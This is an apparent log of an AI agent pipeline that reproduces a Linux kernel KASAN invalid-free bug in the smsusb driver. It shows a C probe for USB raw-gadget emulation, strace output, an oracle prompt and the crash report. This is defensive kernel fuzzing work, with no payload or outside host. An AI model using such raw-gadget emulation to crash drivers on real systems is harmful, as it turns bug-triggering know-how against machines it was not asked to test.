However, a nagging thought emerges: what if `dummy_udc.0` isn't the correct UDC name? Syzkaller might use it, but the actual system might have something different. To make this more robust, I should be able to discover the UDC dynamically. The standard place to look is `/sys/class/udc/`. I can scan this directory and pick the *first* UDC I find. This way, I'm not hardcoding a specific name and can adapt to different configurations.

So, I'll revise the code. I'll add `dirent.h` and use `opendir` to scan `/sys/class/udc`. I'll iterate through the entries, skipping the hidden ones (starting with '.'), and store the name of the first valid UDC I encounter. If I can't find any UDC, that's a failure case.

With the discovered `udc_name`, I'll update my `init_arg`. I'll use the found `udc_name` for the `device_name`. But what about `driver_name`? If the discovered UDC is related to "dummy" (like `dummy_udc`), I'll stick with "dummy_udc". Otherwise, I'll use the `udc_name` itself for the `driver_name`. This seems like a reasonable heuristic to handle different UDC drivers. And, of course, `speed` remains 3. Then, I'll attempt the `ioctl` again.

Another point of consideration: What if the `dummy_hcd` module isn't loaded? In syzkaller environments, it's usually present. If opening `/dev/raw-gadget` succeeds, I'm going to assume `dummy_hcd` is available. There isn't a straightforward way to probe its existence without potentially triggering its loading, which might be beyond the scope of this initial probe.

Finally, I'll consolidate my thoughts into a refined probe program. It opens `/dev/raw-gadget`, scans `/sys/class/udc` for a UDC name, constructs the `init_arg` using a heuristic for `driver_name` and the discovered `udc_name` for `device_name`, and sets `speed` to `USB_SPEED_HIGH`. If all these steps succeed, I've confirmed that I have the USB gadget emulation capability, which is exactly what I need for the next stage of my task. I'm not going to worry about specifically probing for `smsusb` at this point; the priority is to confirm the general USB gadget functionality. The `set-results` tool is the perfect way to package this probe for output.


77/4 2026/09/04 10:24 tool set-results
0m Args:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <linux/types.h>
#include <dirent.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
    __u8    driver_name[UDC_NAME_LENGTH_MAX];
    __u8    device_name[UDC_NAME_LENGTH_MAX];
    __u8    speed;
};

#define USB_RAW_IOCTL_INIT      _IOW('U', 0, struct usb_raw_init)

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");

    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
        close(fd);
        return 1;
    }

    struct dirent *entry;
    char udc_name[UDC_NAME_LENGTH_MAX] = {0};
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_name[0] != '.') {
            strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
            break;
        }
    }
    closedir(dir);

    if (strlen(udc_name) == 0) {
        printf("[-] No UDC found in /sys/class/udc\n");
        close(fd);
        return 1;
    }
    printf("[+] Found UDC: %s\n", udc_name);

    struct usb_raw_init init_arg;
    memset(&init_arg, 0, sizeof(init_arg));
    
    if (strstr(udc_name, "dummy") != NULL) {
        strncpy((char *)init_arg.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
    } else {
        strncpy((char *)init_arg.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    }
    strncpy((char *)init_arg.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    init_arg.speed = 3; /* USB_SPEED_HIGH */

    int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg);
    if (res < 0) {
        printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
        close(fd);
        return 1;
    }
    printf("[+] Successfully initialized raw-gadget with %s\n", udc_name);

    close(fd);
    return 0;
}
]

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <linux/types.h>
#include <dirent.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
    __u8    driver_name[UDC_NAME_LENGTH_MAX];
    __u8    device_name[UDC_NAME_LENGTH_MAX];
    __u8    speed;
};

#define USB_RAW_IOCTL_INIT      _IOW('U', 0, struct usb_raw_init)

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");

    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
        close(fd);
        return 1;
    }

    struct dirent *entry;
    char udc_name[UDC_NAME_LENGTH_MAX] = {0};
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_name[0] != '.') {
            strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
            break;
        }
    }
    closedir(dir);

    if (strlen(udc_name) == 0) {
        printf("[-] No UDC found in /sys/class/udc\n");
        close(fd);
        return 1;
    }
    printf("[+] Found UDC: %s\n", udc_name);

    struct usb_raw_init init_arg;
    memset(&init_arg, 0, sizeof(init_arg));
    
    if (strstr(udc_name, "dummy") != NULL) {
        strncpy((char *)init_arg.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
    } else {
        strncpy((char *)init_arg.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    }
    strncpy((char *)init_arg.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    init_arg.speed = 3; /* USB_SPEED_HIGH */

    int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg);
    if (res < 0) {
        printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
        close(fd);
        return 1;
    }
    printf("[+] Successfully initialized raw-gadget with %s\n", udc_name);

    close(fd);
    return 0;
}
]

78/3 2026/09/04 10:24 loop
0m
79/4 2026/09/04 10:24 iteration 0
0m
80/5 2026/09/04 10:24 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <linux/types.h>
#include <dirent.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
    __u8    driver_name[UDC_NAME_LENGTH_MAX];
    __u8    device_name[UDC_NAME_LENGTH_MAX];
    __u8    speed;
};

#define USB_RAW_IOCTL_INIT      _IOW('U', 0, struct usb_raw_init)

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");

    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
        close(fd);
        return 1;
    }

    struct dirent *entry;
    char udc_name[UDC_NAME_LENGTH_MAX] = {0};
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_name[0] != '.') {
            strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
            break;
        }
    }
    closedir(dir);

    if (strlen(udc_name) == 0) {
        printf("[-] No UDC found in /sys/class/udc\n");
        close(fd);
        return 1;
    }
    printf("[+] Found UDC: %s\n", udc_name);

    struct usb_raw_init init_arg;
    memset(&init_arg, 0, sizeof(init_arg));
    
    if (strstr(udc_name, "dummy") != NULL) {
        strncpy((char *)init_arg.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
    } else {
        strncpy((char *)init_arg.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    }
    strncpy((char *)init_arg.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    init_arg.speed = 3; /* USB_SPEED_HIGH */

    int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg);
    if (res < 0) {
        printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
        close(fd);
        return 1;
    }
    printf("[+] Successfully initialized raw-gadget with %s\n", udc_name);

    close(fd);
    return 0;
}
]

81/5 2026/09/04 10:24 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <linux/types.h>
#include <dirent.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
    __u8    driver_name[UDC_NAME_LENGTH_MAX];
    __u8    device_name[UDC_NAME_LENGTH_MAX];
    __u8    speed;
};

#define USB_RAW_IOCTL_INIT      _IOW('U', 0, struct usb_raw_init)

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");

    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
        close(fd);
        return 1;
    }

    struct dirent *entry;
    char udc_name[UDC_NAME_LENGTH_MAX] = {0};
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_name[0] != '.') {
            strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
            break;
        }
    }
    closedir(dir);

    if (strlen(udc_name) == 0) {
        printf("[-] No UDC found in /sys/class/udc\n");
        close(fd);
        return 1;
    }
    printf("[+] Found UDC: %s\n", udc_name);

    struct usb_raw_init init_arg;
    memset(&init_arg, 0, sizeof(init_arg));
    
    if (strstr(udc_name, "dummy") != NULL) {
        strncpy((char *)init_arg.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
    } else {
        strncpy((char *)init_arg.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    }
    strncpy((char *)init_arg.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    init_arg.speed = 3; /* USB_SPEED_HIGH */

    int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg);
    if (res < 0) {
        printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
        close(fd);
        return 1;
    }
    printf("[+] Successfully initialized raw-gadget with %s\n", udc_name);

    close(fd);
    return 0;
}
]

82/5 2026/09/04 10:24 action If
0m Args:
map[CompilerError:]

83/3 2026/09/04 10:24 action run-c-repro
3m Results:
map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[   76.691087][   T50] cfg80211: failed to load regulatory.db
Warning: Permanently added '[localhost]:22938' (ED25519) to the list of known hosts.
[+] Successfully opened /dev/raw-gadget
[+] Found UDC: dummy_udc.2
[+] Successfully initialized raw-gadget with dummy_udc.2
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1995121538

<...>
Warning: Permanently added '[localhost]:1221' (ED25519) to the list of known hosts.
execve("/syz-executor1995121538", ["/syz-executor1995121538"], 0x7ffda8ea4ed0 /* 11 vars */) = 0
brk(NULL)                               = 0x555569c1d000
brk(0x555569c1dd80)                     = 0x555569c1dd80
arch_prctl(ARCH_SET_FS, 0x555569c1d400) = 0
set_tid_address(0x555569c1d6d0)         = 5876
set_robust_list(0x555569c1d6e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1995121538", 4096) = 23
getrandom("\xfa\xec\xfa\xf6\xcb\xf3\x59\xd4", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569c1dd80
brk(0x555569c3ed80)                     = 0x555569c3ed80
brk(0x555569c3f000)                     = 0x555569c3f000
mprotect(0x7fea25e94000, 20480, PROT_READ) = 0
openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/sys/class/udc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
fstat(4, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
getdents64(4, 0x555569c1f7a0 /* 35 entries */, 32768) = 1104
close(4)                                = 0
ioctl(3, USB_RAW_IOCTL_INIT, 0x7ffeecd478c0) = 0
close(3)                                = 0
[+] Successfully opened /dev/raw-gadget
[+] Found UDC: dummy_udc.2
[+] Successfully initialized raw-gadget with dummy_udc.2
write(1, "[+] Successfully opened /dev/raw-gadget\n[+] Found UDC: dummy_udc.2\n[+] Successfully initialized raw-"..., 124) = 124
exit_group(0)                           = ?
+++ exited with 0 +++
 TestError:]

84/3 2026/09/04 10:27 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   76.691087][   T50] cfg80211: failed to load regulatory.db
Warning: Permanently added '[localhost]:22938' (ED25519) to the list of known hosts.
[+] Successfully opened /dev/raw-gadget
[+] Found UDC: dummy_udc.2
[+] Successfully initialized raw-gadget with dummy_udc.2
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1995121538

<...>
Warning: Permanently added '[localhost]:1221' (ED25519) to the list of known hosts.
execve("/syz-executor1995121538", ["/syz-executor1995121538"], 0x7ffda8ea4ed0 /* 11 vars */) = 0
brk(NULL)                               = 0x555569c1d000
brk(0x555569c1dd80)                     = 0x555569c1dd80
arch_prctl(ARCH_SET_FS, 0x555569c1d400) = 0
set_tid_address(0x555569c1d6d0)         = 5876
set_robust_list(0x555569c1d6e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1995121538", 4096) = 23
getrandom("\xfa\xec\xfa\xf6\xcb\xf3\x59\xd4", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569c1dd80
brk(0x555569c3ed80)                     = 0x555569c3ed80
brk(0x555569c3f000)                     = 0x555569c3f000
mprotect(0x7fea25e94000, 20480, PROT_READ) = 0
openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/sys/class/udc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
fstat(4, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
getdents64(4, 0x555569c1f7a0 /* 35 entries */, 32768) = 1104
close(4)                                = 0
ioctl(3, USB_RAW_IOCTL_INIT, 0x7ffeecd478c0) = 0
close(3)                                = 0
[+] Successfully opened /dev/raw-gadget
[+] Found UDC: dummy_udc.2
[+] Successfully initialized raw-gadget with dummy_udc.2
write(1, "[+] Successfully opened /dev/raw-gadget\n[+] Found UDC: dummy_udc.2\n[+] Successfully initialized raw-"..., 124) = 124
exit_group(0)                           = ?
+++ exited with 0 +++
]

85/3 2026/09/04 10:27 agent repro-oracle
0m Model:
deep-reasoning

Results:
map[Feedback:The environment probe was successful. /dev/raw-gadget is accessible and dummy_udc is available. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
   set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
   is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
   set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
   field so the generator can adjust its setups.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: invalid-free in usb_free_urb

==================================================================
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
Free of addr ffff888058ab1000 by task kworker/1:1/48

CPU: 1 UID: 0 PID: 48 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Workqueue: usb_hub_wq hub_event
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report_invalid_free+0xea/0x110 mm/kasan/report.c:557
 check_slab_allocation mm/kasan/common.c:-1 [inline]
 __kasan_slab_pre_free+0x104/0x120 mm/kasan/common.c:261
 kasan_slab_pre_free include/linux/kasan.h:199 [inline]
 slab_free_hook mm/slub.c:2693 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x173/0x650 mm/slub.c:6792
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5414 [inline]
 __kmalloc_node_track_caller_noprof+0x4b4/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2748 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x1c5/0x650 mm/slub.c:6792
 skb_kfree_head net/core/skbuff.c:1083 [inline]
 skb_free_head net/core/skbuff.c:1095 [inline]
 skb_release_data+0x85e/0xab0 net/core/skbuff.c:1122
 skb_release_all net/core/skbuff.c:1197 [inline]
 __kfree_skb+0x5d/0x210 net/core/skbuff.c:1211
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:817 [inline]
 nsim_dev_trap_report_work+0x7ac/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
head: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 3388, tgid 3388 (kworker/u8:12), ts 77776651868
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3347 [inline]
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
 refill_sheaf mm/slub.c:2885 [inline]
 __pcs_replace_empty_main+0x2c8/0x6c0 mm/slub.c:4774
 alloc_from_pcs mm/slub.c:4850 [inline]
 slab_alloc_node mm/slub.c:4984 [inline]
 __do_kmalloc_node mm/slub.c:5413 [inline]
 __kmalloc_node_track_caller_noprof+0x548/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 48 tgid 48 ts 77606871666 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_pages_ok+0xb6c/0xc60 mm/page_alloc.c:1596
 smscore_unregister_device+0x48a/0x780 drivers/media/common/siano/smscoreapi.c:1228
 smsusb_term_device+0x1a0/0x3d0 drivers/media/usb/siano/smsusb.c:349
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250

Memory state around the buggy address:
 ffff888058ab0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888058ab0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888058ab1000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff888058ab1080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888058ab1100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================

IsProbe: true
Reproduced: false
Console Output: [   76.691087][   T50] cfg80211: failed to load regulatory.db
Warning: Permanently added '[localhost]:22938' (ED25519) to the list of known hosts.
[+] Successfully opened /dev/raw-gadget
[+] Found UDC: dummy_udc.2
[+] Successfully initialized raw-gadget with dummy_udc.2

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1995121538

<...>
Warning: Permanently added '[localhost]:1221' (ED25519) to the list of known hosts.
execve("/syz-executor1995121538", ["/syz-executor1995121538"], 0x7ffda8ea4ed0 /* 11 vars */) = 0
brk(NULL)                               = 0x555569c1d000
brk(0x555569c1dd80)                     = 0x555569c1dd80
arch_prctl(ARCH_SET_FS, 0x555569c1d400) = 0
set_tid_address(0x555569c1d6d0)         = 5876
set_robust_list(0x555569c1d6e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1995121538", 4096) = 23
getrandom("\xfa\xec\xfa\xf6\xcb\xf3\x59\xd4", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569c1dd80
brk(0x555569c3ed80)                     = 0x555569c3ed80
brk(0x555569c3f000)                     = 0x555569c3f000
mprotect(0x7fea25e94000, 20480, PROT_READ) = 0
